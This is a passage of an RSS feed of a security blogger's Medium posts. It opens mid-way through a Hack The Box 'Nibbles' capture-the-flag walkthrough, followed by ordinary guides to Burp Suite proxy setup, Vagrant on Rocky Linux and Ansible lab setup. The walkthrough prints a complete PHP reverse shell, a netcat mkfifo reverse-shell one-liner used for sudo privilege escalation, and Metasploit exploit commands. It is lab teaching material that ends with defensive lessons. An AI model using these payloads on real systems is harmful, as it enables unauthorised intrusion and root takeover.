type=&quot;string&quot;/&gt;<br>&lt;seo_robots type=&quot;string&quot;/&gt;<br>&lt;seo_google_code type=&quot;string&quot;/&gt;<br>&lt;seo_bing_code type=&quot;string&quot;/&gt;<br>&lt;seo_author type=&quot;string&quot;/&gt;<br>&lt;friendly_urls type=&quot;integer&quot;&gt;0&lt;/friendly_urls&gt;<br>&lt;default_homepage type=&quot;integer&quot;&gt;0&lt;/default_homepage&gt;<br>&lt;/config&gt;</pre><p>Based on this, the most logical guess for the credentials is <strong>admin:nibbles</strong>. Testing this on the /admin.php login page grants us access.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_FKGCcYyR_4KtqyEgXIQ4Q.png" /><figcaption>Successfully login</figcaption></figure><h4>Weaponizing the File Upload</h4><p>With admin access, we explore the dashboard and find a plugin named “My image” that includes a file upload feature. This is a potential Remote Code Execution (RCE) vector.</p><p>Our plan is to upload a PHP reverse shell.</p><ol><li><strong>Prepare the Shell:</strong> Download a standard PHP reverse shell (e.g., from PentestMonkey) and edit the $ip and $port variables to point to your attacker machine.</li></ol><p><a href="https://github.com/pentestmonkey/php-reverse-shell/blob/master/php-reverse-shell.php">php-reverse-shell/php-reverse-shell.php at master · pentestmonkey/php-reverse-shell · GitHub</a></p><pre>&lt;?php<br>// php-reverse-shell - A Reverse Shell implementation in PHP<br>// Copyright (C) 2007 pentestmonkey@pentestmonkey.net<br>//<br>// This tool may be used for legal purposes only.  Users take full responsibility<br>// for any actions performed using this tool.  The author accepts no liability<br>// for damage caused by this tool.  If these terms are not acceptable to you, then<br>// do not use this tool.<br>//<br>// In all other respects the GPL version 2 applies:<br>//<br>// This program is free software; you can redistribute it and/or modify<br>// it under the terms of the GNU General Public License version 2 as<br>// published by the Free Software Foundation.<br>//<br>// This program is distributed in the hope that it will be useful,<br>// but WITHOUT ANY WARRANTY; without even the implied warranty of<br>// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the<br>// GNU General Public License for more details.<br>//<br>// You should have received a copy of the GNU General Public License along<br>// with this program; if not, write to the Free Software Foundation, Inc.,<br>// 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.<br>//<br>// This tool may be used for legal purposes only.  Users take full responsibility<br>// for any actions performed using this tool.  If these terms are not acceptable to<br>// you, then do not use this tool.<br>//<br>// You are encouraged to send comments, improvements or suggestions to<br>// me at pentestmonkey@pentestmonkey.net<br>//<br>// Description<br>// -----------<br>// This script will make an outbound TCP connection to a hardcoded IP and port.<br>// The recipient will be given a shell running as the current user (apache normally).<br>//<br>// Limitations<br>// -----------<br>// proc_open and stream_set_blocking require PHP version 4.3+, or 5+<br>// Use of stream_select() on file descriptors returned by proc_open() will fail and return FALSE under Windows.<br>// Some compile-time options are needed for daemonisation (like pcntl, posix).  These are rarely available.<br>//<br>// Usage<br>// -----<br>// See http://pentestmonkey.net/tools/php-reverse-shell if you get stuck.<br><br>set_time_limit (0);<br>$VERSION = &quot;1.0&quot;;<br>$ip = &#39;10.10.14.2&#39;;  // CHANGE THIS<br>$port = 4444;       // CHANGE THIS<br>$chunk_size = 1400;<br>$write_a = null;<br>$error_a = null;<br>$shell = &#39;uname -a; w; id; /bin/sh -i&#39;;<br>$daemon = 0;<br>$debug = 0;<br><br>//<br>// Daemonise ourself if possible to avoid zombies later<br>//<br><br>// pcntl_fork is hardly ever available, but will allow us to daemonise<br>// our php process and avoid zombies.  Worth a try...<br>if (function_exists(&#39;pcntl_fork&#39;)) {<br> // Fork and have the parent process exit<br> $pid = pcntl_fork();<br> <br> if ($pid == -1) {<br>  printit(&quot;ERROR: Can&#39;t fork&quot;);<br>  exit(1);<br> }<br> <br> if ($pid) {<br>  exit(0);  // Parent exits<br> }<br><br> // Make the current process a session leader<br> // Will only succeed if we forked<br> if (posix_setsid() == -1) {<br>  printit(&quot;Error: Can&#39;t setsid()&quot;);<br>  exit(1);<br> }<br><br> $daemon = 1;<br>} else {<br> printit(&quot;WARNING: Failed to daemonise.  This is quite common and not fatal.&quot;);<br>}<br><br>// Change to a safe directory<br>chdir(&quot;/&quot;);<br><br>// Remove any umask we inherited<br>umask(0);<br><br>//<br>// Do the reverse shell...<br>//<br><br>// Open reverse connection<br>$sock = fsockopen($ip, $port, $errno, $errstr, 30);<br>if (!$sock) {<br> printit(&quot;$errstr ($errno)&quot;);<br> exit(1);<br>}<br><br>// Spawn shell process<br>$descriptorspec = array(<br>   0 =&gt; array(&quot;pipe&quot;, &quot;r&quot;),  // stdin is a pipe that the child will read from<br>   1 =&gt; array(&quot;pipe&quot;, &quot;w&quot;),  // stdout is a pipe that the child will write to<br>   2 =&gt; array(&quot;pipe&quot;, &quot;w&quot;)   // stderr is a pipe that the child will write to<br>);<br><br>$process = proc_open($shell, $descriptorspec, $pipes);<br><br>if (!is_resource($process)) {<br> printit(&quot;ERROR: Can&#39;t spawn shell&quot;);<br> exit(1);<br>}<br><br>// Set everything to non-blocking<br>// Reason: Occsionally reads will block, even though stream_select tells us they won&#39;t<br>stream_set_blocking($pipes[0], 0);<br>stream_set_blocking($pipes[1], 0);<br>stream_set_blocking($pipes[2], 0);<br>stream_set_blocking($sock, 0);<br><br>printit(&quot;Successfully opened reverse shell to $ip:$port&quot;);<br><br>while (1) {<br> // Check for end of TCP connection<br> if (feof($sock)) {<br>  printit(&quot;ERROR: Shell connection terminated&quot;);<br>  break;<br> }<br><br> // Check for end of STDOUT<br> if (feof($pipes[1])) {<br>  printit(&quot;ERROR: Shell process terminated&quot;);<br>  break;<br> }<br><br> // Wait until a command is end down $sock, or some<br> // command output is available on STDOUT or STDERR<br> $read_a = array($sock, $pipes[1], $pipes[2]);<br> $num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);<br><br> // If we can read from the TCP socket, send<br> // data to process&#39;s STDIN<br> if (in_array($sock, $read_a)) {<br>  if ($debug) printit(&quot;SOCK READ&quot;);<br>  $input = fread($sock, $chunk_size);<br>  if ($debug) printit(&quot;SOCK: $input&quot;);<br>  fwrite($pipes[0], $input);<br> }<br><br> // If we can read from the process&#39;s STDOUT<br> // send data down tcp connection<br> if (in_array($pipes[1], $read_a)) {<br>  if ($debug) printit(&quot;STDOUT READ&quot;);<br>  $input = fread($pipes[1], $chunk_size);<br>  if ($debug) printit(&quot;STDOUT: $input&quot;);<br>  fwrite($sock, $input);<br> }<br><br> // If we can read from the process&#39;s STDERR<br> // send data down tcp connection<br> if (in_array($pipes[2], $read_a)) {<br>  if ($debug) printit(&quot;STDERR READ&quot;);<br>  $input = fread($pipes[2], $chunk_size);<br>  if ($debug) printit(&quot;STDERR: $input&quot;);<br>  fwrite($sock, $input);<br> }<br>}<br><br>fclose($sock);<br>fclose($pipes[0]);<br>fclose($pipes[1]);<br>fclose($pipes[2]);<br>proc_close($process);<br><br>// Like print, but does nothing if we&#39;ve daemonised ourself<br>// (I can&#39;t figure out how to redirect STDOUT like a proper daemon)<br>function printit ($string) {<br> if (!$daemon) {<br>  print &quot;$string\n&quot;;<br> }<br>}<br><br>?&gt; <br><br></pre><ol><li><strong>Start a Listener:</strong> On your machine, start a Netcat listener to catch the incoming connection.</li></ol><pre>nc -lvnp 4444</pre><ol><li><strong>Upload and Trigger:</strong> Upload the malicious PHP file through the “My image” plugin. The application saves it as image.php. To trigger the shell, simply navigate to its location in the browser: <a href="http://10.129.28.67/nibbleblog/content/private/plugins/my_image/image.php.">http://10.129.28.67/nibbleblog/content/private/plugins/my_image/image.php.</a></li></ol><p>This gives us a reverse shell as the nibbler user.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/725/1*igY8APY6beT04c4Kx2IjAw.png" /></figure><blockquote><strong><em>Pro-Tip: Stabilize Your Shell</em></strong><em><br>Initial shells are often basic. Upgrade to a fully interactive TTY for a better experience using this Python one-liner:<br></em><strong><em>python3 -c ‘import pty; pty.spawn(“/bin/bash”)’</em></strong></blockquote><p>From here, we can capture the user flag at /home/nibbler/user.txt.</p><pre>$ cd /home/nibbler<br>$ ls<br>personal.zip<br>user.txt<br>$ cat user.txt<br>&lt;redacted&gt;<br>$ unzip personal.zip</pre><h3>Phase 3: The Path to Root</h3><p>With user access, our final goal is to become root.</p><h4>Enumerating for Weaknesses with LinEnum</h4><p>While manual enumeration is possible, automated scripts like LinEnum.sh are far more efficient at finding privilege escalation vectors.</p><ol><li><strong>Transfer the Script:</strong> Host LinEnum.sh on a simple Python web server on your attacker machine.</li></ol><pre># Attacher Machine<br>git clone https://github.com/rebootuser/LinEnum.git<br>chmod 600 LinEnum.sh<br><br># 1. Start a Python HTTP server on the local machine<br>sudo python3 -m http.server 8080</pre><p><strong>2. Download and Execute:</strong> From the victim’s shell, download and run the script.</p><pre>wget http://&lt;yoour ip&gt;:8080/LinEnum/LinEnum.sh<br>chmod +x LinEnum.sh <br>./LinEnum.sh</pre><p>The script’s output highlights a critical sudo misconfiguration</p><pre>#LinEnum.sh part of this, we can use monitor.sh<br>[-] Super user account(s):<br>root<br><br><br>[+] We can sudo without supplying a password!<br>Matching Defaults entries for nibbler on Nibbles:<br>    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin<br><br>User nibbler may run the following commands on Nibbles:<br>    (root) NOPASSWD: /home/nibbler/personal/stuff/monitor.sh<br><br><br>[+] Possible sudo pwnage!<br>/home/nibbler/personal/stuff/monitor.sh</pre><h4>Abusing Sudo Misconfiguration</h4><p>This sudoers rule is our ticket to root. It states that the nibbler user can execute the /home/nibbler/personal/stuff/monitor.sh script as root without a password. Since this script resides in our home directory, we have full permission to edit it.</p><p>The attack is simple:</p><ol><li><strong>Append a Payload:</strong> Add a reverse shell command to the end of the monitor.sh script. This is stealthier than replacing the file.</li></ol><pre>echo &#39;rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2&gt;&amp;1|nc [Your-Attacker-IP] 5555 &gt;/tmp/f&#39; &gt;&gt; /home/nibbler/personal/stuff/monitor.sh</pre><p><strong>2. Start a New Listener:</strong> Open another terminal and start a listener on the new port.</p><pre>nc -lvnp 5555</pre><p><strong>3. Execute as Root:</strong> Run the script using the exact command specified in the sudoers rule.</p><pre>sudo /home/nibbler/personal/stuff/monitor.sh</pre><p>This executes our appended command as root, providing a root shell on our listener. We can now read the final flag at /root/root.txt.</p><pre>┌─[sg-dedivip-1]─[10.10.14.2]─[yeachan@htb-4rxvoho0cp]─[~/LinEnum]<br>└──╼ [★]$ nc -lvnp 5555<br>listening on [any] 5555 ...<br>connect to [10.10.14.2] from (UNKNOWN) [10.129.28.67] 35740<br>root@Nibbles:/home/nibbler/personal/stuff# cd /root<br>cd /root<br>root@Nibbles:~# ls<br>ls<br>root.txt<br>root@Nibbles:~# cat root.txt<br>cat root.txt<br>&lt;redacted&gt;</pre><h3>The Express Lane: Pwning Nibbles with Metasploit</h3><p>For a faster, automated approach, the Metasploit Framework has a dedicated module for this exact vulnerability, ‘Nibbleblog 4.0.3’</p><ol><li><strong>Search for the Exploit:</strong></li></ol><pre>msfconsole -q<br>[msf](Jobs:0 Agents:0) &gt;&gt; search nibbleblog<br><br>Matching Modules<br>================<br><br>   #  Name                                       Disclosure Date  Rank       Check  Description<br>   -  ----                                       ---------------  ----       -----  -----------<br>   0  exploit/multi/http/nibbleblog_file_upload  2015-09-01       excellent  Yes    Nibbleblog File Upload Vulnerability<br><br><br>Interact with a module by name or index. For example info 0, use 0 or use exploit/multi/http/nibbleblog_file_upload<br><br>[msf](Jobs:0 Agents:0) &gt;&gt; use 0<br>[*] No payload configured, defaulting to php/meterpreter/reverse_tcp</pre><p><strong>2. Configure the Options:</strong> Set the target information and the credentials we discovered manually further.</p><pre>[msf](Jobs:0 Agents:0) exploit(multi/http/nibbleblog_file_upload) &gt;&gt; set rhosts f](Jobs:0 Agents:0) exprhosts =&gt; <br>[msf](Jobs:0 Agents:0) exploit(multi/http/nibbleblog_file_upload) &gt;&gt; set rhosts 10.129.107.109<br>rhosts =&gt; 10.129.107.109<br>[msf](Jobs:0 Agents:0) exploit(multi/http/nibbleblog_file_upload) &gt;&gt; set lhost 10.10.14.67<br>lhost =&gt; 10.10.14.67<br>[msf](Jobs:0 Agents:0) exploit(multi/http/nibbleblog_file_upload) &gt;&gt; show options<br><br>Module options (exploit/multi/http/nibbleblog_file_upload):<br><br>   Name       Current Setting  Required  Description<br>   ----       ---------------  --------  -----------<br>   PASSWORD                    yes       The password to authenticate with<br>   Proxies                     no        A proxy chain of format type:host:port[,type:host:port][...]<br>                                         . Supported proxies: sapni, socks4, socks5, socks5h, http<br>   RHOSTS     10.129.107.109   yes       The target host(s), see https://docs.metasploit.com/docs/usi<br>                                         ng-metasploit/basics/using-metasploit.html<br>   RPORT      80               yes       The target port (TCP)<br>   SSL        false            no        Negotiate SSL/TLS for outgoing connections<br>   TARGETURI  /                yes       The base path to the web application<br>   USERNAME                    yes       The username to authenticate with<br>   VHOST                       no        HTTP server virtual host<br><br>Payload options (php/meterpreter/reverse_tcp):<br><br>   Name   Current Setting  Required  Description<br>   ----   ---------------  --------  -----------<br>   LHOST  10.10.14.67      yes       The listen address (an interface may be specified)<br>   LPORT  4444             yes       The listen port<br><br>Exploit target:<br><br>   Id  Name<br>   --  ----<br>   0   Nibbleblog 4.0.3<br><br>set usernamd admin<br>set password nibbles<br>set targeturi nibbleblog</pre><p>3. We also need to change the payload type. For our purposes let’s go with generic/shell_reverse_tcp. We put these options and then type exploit and receive a reverse shell.</p><pre>[msf](Jobs:0 Agents:0) exploit(multi/http/nibbleblog_file_upload) &gt;&gt; set payload generic/shell_reverse_tcp<br>payload =&gt; generic/shell_reverse_tcp<br>show options<br>exploit</pre><p>Metasploit automates the entire process, dropping you directly into a shell as the nibbler user. From there, the privilege escalation path remains the same.</p><h3>Conclusion: Lessons Learned from Nibbles</h3><p>Nibbles is an excellent machine that reinforces several core security principles:</p><ol><li><strong>Information Disclosure is Dangerous:</strong> Developer comments and verbose README files can provide attackers with the exact version numbers needed to find exploits.</li><li><strong>Weak Credentials are a Gift:</strong> Always change default passwords and avoid using simple, guessable credentials.</li><li><strong>Validate File Uploads:</strong> Never trust user-supplied files. Implement strict file type validation and ensure uploaded files are not executed on the server.</li><li><strong>Secure Sudo Rules:</strong> Never grant sudo privileges to scripts located in user-writable directories. This is a direct and easily exploitable path to root.</li></ol><p>By understanding these fundamental flaws, both developers and security professionals can build and maintain more secure systems.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=833ef5466a0d" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[A Step-by Step Guide to enable Intercepting Traffic with Burp Suite and FoxyProxy]]></title>
            <link>https://medium.com/@kjavaman12/a-step-by-step-guide-to-enable-intercepting-traffic-with-burp-suite-and-foxyproxy-0fc87e62314b?source=rss-5f96dcbc1698------2</link>
            <guid isPermaLink="false">https://medium.com/p/0fc87e62314b</guid>
            <category><![CDATA[web-hacking]]></category>
            <category><![CDATA[burpsuite]]></category>
            <category><![CDATA[web-security]]></category>
            <category><![CDATA[information-security]]></category>
            <category><![CDATA[foxyproxy]]></category>
            <dc:creator><![CDATA[Techie-stronaut]]></dc:creator>
            <pubDate>Sun, 02 Nov 2025 10:33:22 GMT</pubDate>
            <atom:updated>2025-11-02T10:33:22.403Z</atom:updated>
            <content:encoded><![CDATA[<p>Welcome! If you’re diving into web security or development, one of the first skills you’ll need is the ability to see and manipulate the traffic between your browser and a web server. This guide will walk you through the entire process of setting up FoxyProxy in Firefox to send traffic to Burp Suite Community Edition, culminating in your very first captured request.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/302/1*MDK3OFJyVu2SZsqXfFTLOg.png" /><figcaption>FoxyProxy (Initial page)</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/622/1*OLl6IlxJdjBCjh-A-0_hBQ.png" /><figcaption>BurpSuite (Initial Proxy Tab)</figcaption></figure><h3>Part 1: Configuring FoxyProxy: Pointing Firefox to Burp Suite</h3><p>First, we need to tell Firefox where to send its traffic. We’ll use the FoxyProxy extension to create a profile that points directly to Burp Suite’s default listener.</p><p><strong>Step 1: Add a New Proxy Profile</strong></p><p>In the FoxyProxy options menu, click on the <strong>“Proxies”</strong> tab at the top.</p><p><strong>Step 2: Enter Burp Suite’s Details</strong></p><p>On the Proxies screen, click the <strong>“Add”</strong> button to create a new profile. A form will appear. Fill it out with these exact settings, which match Burp Suite’s default configuration:</p><ul><li><strong>Title:</strong> Burp Suite (or any name you’ll easily recognize)</li><li><strong>Proxy IP address or DNS name:</strong> 127.0.0.1</li><li><strong>Port:</strong> 8080</li></ul><p>Your configuration should look exactly like this. Once you’re done, click <strong>“Save”</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xmr0FURnT2EZquOUXhwoSA.png" /></figure><p><strong>Step 3: Activate the Burp Suite Proxy</strong></p><p>Now, click the FoxyProxy icon in your Firefox toolbar. A menu will appear. Select the <strong>“Burp Suite”</strong> profile you just created to activate it.</p><p>With that, Firefox is now sending all its traffic to port 8080 on your local machine. Next, let’s get Burp Suite ready to catch it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/299/1*L1g3XdM3nGZhREJ07ZFFuQ.png" /></figure><h3>Part 2: Preparing Burp Suite: The Interception Station</h3><p>Now we move to the Burp Suite application. Here, we’ll ensure it’s listening for traffic and that its intercept feature is turned on.</p><p><strong>Step 1: Verify the Proxy Listener is Active</strong></p><p>First, let’s make sure Burp Suite has a “door” open to listen for the traffic from Firefox.</p><ol><li>In Burp Suite, go to the <strong>Proxy</strong> tab, then the <strong>Proxy settings</strong> sub-tab.</li><li>In the “Proxy Listeners” section, confirm that the entry for 127.0.0.1:8080 is present and the checkbox under the <strong>“Running”</strong> column is ticked.</li></ol><p>This checkmark confirms Burp is actively listening for connections.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*uyJIqiw01Uhj8D63FrGJww.png" /></figure><p><strong>Step 2: Arm the Intercept</strong></p><p>With Burp listening, the final step is to enable the interception feature. This acts as a roadblock, holding requests so you can inspect them.</p><ol><li>Navigate to the <strong>Proxy</strong> -&gt; <strong>Intercept</strong> sub-tab.</li><li>Click the button so that it reads <strong>“Intercept is on”</strong>.</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*3MGptKvxP4R7Cj-__hFuXA.png" /></figure><p>Your setup is now complete and armed!</p><h3>Part 3: The Magic Moment — Capturing Your First Request</h3><p>At this point, you’ll notice the “Forward” button in Burp Suite is greyed out. This is perfectly normal! It’s disabled because no traffic has arrived at our roadblock yet.</p><p><strong>Let’s bring it to life.</strong></p><p>Go to your Firefox browser (where the “Burp Suite” profile in FoxyProxy is still active) and try to visit any webpage. For this example, we’re navigating to a login page.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/955/1*DyID3OWqTKMgvhF2SjNwFA.png" /></figure><p><strong>Voilà!</strong> The moment you make the request, your browser will pause, and the Burp Suite window will immediately update, displaying the full HTTP request it just captured. You’ll see that the <strong>“Forward” button is now active and orange</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_s_gfl2LfqzLVP05liWLSA.png" /></figure><p>Congratulations! You have successfully intercepted your first web request. You can now analyze the headers and body of the request, modify them if you wish, and then click <strong>Forward</strong> to send the traffic to its destination server.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=0fc87e62314b" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[How to Fix “No Usable Default Provider Could Be Found for Your System” Error in Vagrant on Rocky…]]></title>
            <link>https://medium.com/@kjavaman12/how-to-fix-no-usable-default-provider-could-be-found-for-your-system-error-in-vagrant-on-rocky-67498b578670?source=rss-5f96dcbc1698------2</link>
            <guid isPermaLink="false">https://medium.com/p/67498b578670</guid>
            <category><![CDATA[rhel]]></category>
            <category><![CDATA[linux]]></category>
            <category><![CDATA[rockies]]></category>
            <category><![CDATA[centos]]></category>
            <category><![CDATA[sysadmin]]></category>
            <dc:creator><![CDATA[Techie-stronaut]]></dc:creator>
            <pubDate>Tue, 01 Oct 2024 12:55:16 GMT</pubDate>
            <atom:updated>2024-10-01T12:55:16.221Z</atom:updated>
            <content:encoded><![CDATA[<h3>How to Fix “No Usable Default Provider Could Be Found for Your System” Error in Vagrant on Rocky Linux 9.4</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*VVq9oEWN21sICch7" /></figure><p>If you’re encountering the “no usable default provider could be found for your system” error when running vagrant up on Rocky Linux 9.4, it&#39;s typically due to missing dependencies required to build VirtualBox kernel modules or because VirtualBox is not being recognized by Vagrant. This guide walks you through resolving these issues step by step.</p><h3>1. Install Required Build Dependencies</h3><p>VirtualBox requires certain development tools and kernel headers to build its kernel modules. Without these, Vagrant may not detect VirtualBox correctly.</p><h3>1.1. Update Your System</h3><p>Before proceeding, make sure your system packages are up-to-date:</p><pre>sudo dnf update -y</pre><h3>1.2. Install Development Tools and Kernel Headers</h3><p>Next, install the necessary packages (gcc, make, perl, kernel-devel, kernel-headers) for building VirtualBox kernel modules:</p><pre>sudo dnf install -y gcc make perl kernel-devel kernel-headers</pre><h4>Important:</h4><p>Ensure that the kernel-devel and kernel-headers versions match your current running kernel. You can verify your kernel version with:bash</p><pre>uname -r</pre><p>If your current kernel version is, for example, 5.14.0-427.13.1.el9_4.x86_64, install the matching kernel headers and development package:</p><pre>sudo dnf install -y kernel-devel-$(uname -r) kernel-headers-$(uname -r)</pre><h3>2. Rebuild VirtualBox Kernel Modules</h3><p>Once the required dependencies are installed, you need to rebuild the VirtualBox kernel modules. This is a critical step to ensure VirtualBox can run properly.</p><pre>sudo /sbin/vboxconfig</pre><h3>Possible Outcomes:</h3><ul><li><strong>Success</strong>: You’ll see messages indicating that VirtualBox services have been stopped and restarted, and the kernel modules are being built successfully.</li><li><strong>Failure</strong>: If errors occur, especially related to Secure Boot, follow the steps in the next section.</li></ul><h3>3. Handle Secure Boot (If Applicable)</h3><p>If your system uses <strong>EFI Secure Boot</strong>, it might prevent the loading of unsigned kernel modules, including those required by VirtualBox. Here are two solutions:</p><h3>3.1. Disable Secure Boot</h3><p>This is the simplest and most common solution, but note that disabling Secure Boot may reduce the security of your system.</p><h4>Steps to Disable Secure Boot:</h4><ol><li><strong>Reboot Your System</strong>:</li></ol><pre>sudo reboot</pre><ol><li><strong>Enter BIOS/UEFI Settings</strong>:</li></ol><ul><li>During the boot process, press keys like F2, F10, Del, or Esc (this depends on your hardware).</li></ul><ol><li><strong>Disable Secure Boot</strong></li></ol><ul><li>Navigate to the <strong>Secure Boot</strong> settings and change the setting to <strong>Disabled</strong>.</li></ul><ol><li><strong>Save and Reboot</strong>:</li></ol><ul><li>Save the changes and reboot your system.</li></ul><ol><li><strong>Rebuild VirtualBox Kernel Modules</strong>:</li><li>After rebooting, run:</li></ol><pre>sudo /sbin/vboxconfig</pre><h3>3.2. Sign VirtualBox Kernel Modules</h3><p>If you wish to keep Secure Boot enabled, you’ll need to sign the VirtualBox kernel modules manually. This requires generating and enrolling your own signing keys into the system’s MOK (Machine Owner Key). For detailed instructions, refer to the <a href="https://www.virtualbox.org/manual/ch02.html#idm140487455925056">VirtualBox documentation</a>.</p><h3>4. Verify VirtualBox Installation</h3><p>To ensure VirtualBox is properly installed and recognized, verify its version:</p><pre>VBoxManage --version</pre><p><strong>Expected Output</strong>: You should see a version number like 7.0.6r137139, confirming VirtualBox is installed.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=67498b578670" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Ansible with Rocky Linux 9.4: The Ultimate Zero to Mastery Guide]]></title>
            <link>https://medium.com/@kjavaman12/deploy-simple-html-webpage-with-rocky-linux-9-4-a-comprehensive-guide-93725ba29b72?source=rss-5f96dcbc1698------2</link>
            <guid isPermaLink="false">https://medium.com/p/93725ba29b72</guid>
            <category><![CDATA[ansible]]></category>
            <category><![CDATA[rhce]]></category>
            <category><![CDATA[linux]]></category>
            <category><![CDATA[red-hat]]></category>
            <category><![CDATA[rockies]]></category>
            <dc:creator><![CDATA[Techie-stronaut]]></dc:creator>
            <pubDate>Mon, 30 Sep 2024 14:43:36 GMT</pubDate>
            <atom:updated>2024-10-02T12:14:34.894Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*otWd7aK7CYWApGtY" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9BeXeZs77hdnhlOlYxio1g.jpeg" /></figure><h3>Introduction</h3><p>In today’s fast-paced IT environment, automation is no longer a luxury but a necessity. Ansible, a powerful open-source automation tool, simplifies configuration management, application deployment, and task automation across your servers. When combined with Rocky Linux 9.4 — a community enterprise operating system designed to be 100% bug-for-bug compatible with Red Hat Enterprise Linux (RHEL) — you get a robust platform for managing your infrastructure efficiently.</p><p>This comprehensive guide will walk you through setting up an Ansible environment using Rocky Linux 9.4 with Vagrant and VirtualBox. Whether you’re a system administrator, DevOps engineer, or IT enthusiast, this tutorial is designed to help you master Ansible and automate your infrastructure with ease.</p><h3>1. Prerequisites</h3><p>Before you begin, ensure you have the following on your <strong>host machine</strong>:</p><ul><li><strong>Operating System</strong>: A Unix-like OS (Linux or macOS). Windows users can use WSL2 or a Linux virtual machine.</li><li><strong>Hardware</strong>: At least 8 GB of RAM and sufficient CPU resources to run multiple VMs.</li><li><strong>Internet Connection</strong>: To download required software and Vagrant boxes.</li><li><strong>Software</strong>:</li><li><strong>VirtualBox</strong>: Version 7.0</li><li><strong>Vagrant</strong>: Version 2.4.1</li><li><strong>Disable Secure Boot : </strong>Secure Boot can prevent unsigned kernel modules from loading.</li></ul><h4>1.1 System Preparation</h4><p>Before installing VirtualBox and Vagrant, it’s essential to ensure your system is up-to-date and has all the required kernel modules and development tools.</p><p><strong>Step 1: Update Your System</strong></p><p>It’s a best practice to keep your system updated to the latest packages and security patches.</p><pre>sudo dnf update -y</pre><p><strong>Step 2: Install Kernel Headers and Development Tools</strong></p><p>VirtualBox requires specific kernel modules and development tools to function properly. These tools help VirtualBox build kernel modules that match your system’s kernel.</p><pre>sudo dnf install -y gcc make perl kernel-devel kernel-headers</pre><ul><li><strong>gcc</strong>: GNU Compiler Collection, necessary to compile kernel modules.</li><li><strong>make</strong>: A utility that builds kernel modules based on Makefiles.</li><li><strong>perl</strong>: A scripting language used by some build scripts.</li><li><strong>kernel-devel</strong>: Kernel development package required to build VirtualBox modules.</li><li><strong>kernel-headers</strong>: Provides the C header files for the current kernel, used when compiling kernel modules.</li></ul><p><strong>Step 3: Verify the Installed Kernel Version</strong></p><p>Ensure that the installed kernel headers match the running kernel version.</p><pre>uname -r</pre><p>This will output your current kernel version. For example:</p><pre>5.14.0-162.6.1.el9_0.x86_64</pre><p>Install the matching kernel headers:</p><pre>sudo dnf install -y kernel-devel-$(uname -r) kernel-headers-$(uname -r)</pre><p>This command automatically installs the correct versions of kernel-devel and kernel-headers that match your running kernel.</p><p><strong>Step 4: Reboot Your System</strong></p><p>After updating your system and installing the necessary tools, reboot your system to ensure that any kernel updates or changes take effect.</p><pre>sudo reboot</pre><p>By preparing your system in this manner, you’ll ensure a smooth installation of VirtualBox and Vagrant without issues related to kernel compatibility or missing dependencies.</p><h3>2. Setting Up the Virtual Environment</h3><p>To create a fully functional virtual lab environment for Ansible using <strong>Vagrant</strong> and <strong>VirtualBox</strong>, we’ll walk through the steps to install, configure, and provision your environment. This environment will consist of one <strong>Ansible Control Node</strong> and several <strong>Managed Nodes</strong> running <strong>Rocky Linux 9.4</strong>.</p><h4>2.1 Installing VirtualBox</h4><p><strong>VirtualBox</strong> is required as the virtualization platform for Vagrant. Since <strong>Vagrant</strong> works best with VirtualBox 7.0, we’ll avoid the newer 7.1 version (as Vagrant compatibility is limited).</p><h4>Step-by-Step Installation:</h4><ol><li><strong>Add the VirtualBox Repository:</strong></li><li>To install the compatible version of VirtualBox on <strong>Rocky Linux 9.4</strong>, first, add the official VirtualBox repository:</li></ol><ul><li>sudo wget -O /etc/yum.repos.d/virtualbox.repo <a href="https://download.virtualbox.org/virtualbox/rpm/rhel/virtualbox.repo">https://download.virtualbox.org/virtualbox/rpm/rhel/virtualbox.repo</a></li></ul><ol><li><strong>Install Required Dependencies:</strong></li><li>Install necessary system packages, such as kernel headers, development tools, and VirtualBox itself:</li></ol><ul><li>sudo dnf install -y gcc make perl dkms kernel-devel kernel-headers</li></ul><ol><li><strong>Install VirtualBox (Version 7.0):</strong></li><li>Now, install <strong>VirtualBox 7.0</strong> explicitly to avoid compatibility issues:</li></ol><ul><li>sudo dnf install -y VirtualBox-7.0</li></ul><ol><li><strong>Rebuild Kernel Modules for VirtualBox:</strong></li><li>After installation, rebuild the VirtualBox kernel modules to ensure they load properly:</li></ol><ul><li>sudo /sbin/vboxconfig</li></ul><ol><li><strong>Verify the Installation:</strong></li><li>You can check the installed VirtualBox version using the following command:</li></ol><ul><li>VBoxManage -version</li></ul><ol><li>This should return a version number starting with <strong>7.0</strong>.</li><li><strong>Install the VirtualBox Extension Pack (Optional):</strong></li><li>The <strong>VirtualBox Extension Pack</strong> provides additional functionality such as support for USB devices. Download and install it from <a href="https://www.virtualbox.org/wiki/Download_Old_Builds_7_0">here</a>.</li></ol><h4>2.2 Installing Vagrant</h4><p><strong>Vagrant</strong> is used to manage and automate the provisioning of virtual machines. It interacts with VirtualBox to spin up the virtualized infrastructure.</p><h4>Step-by-Step 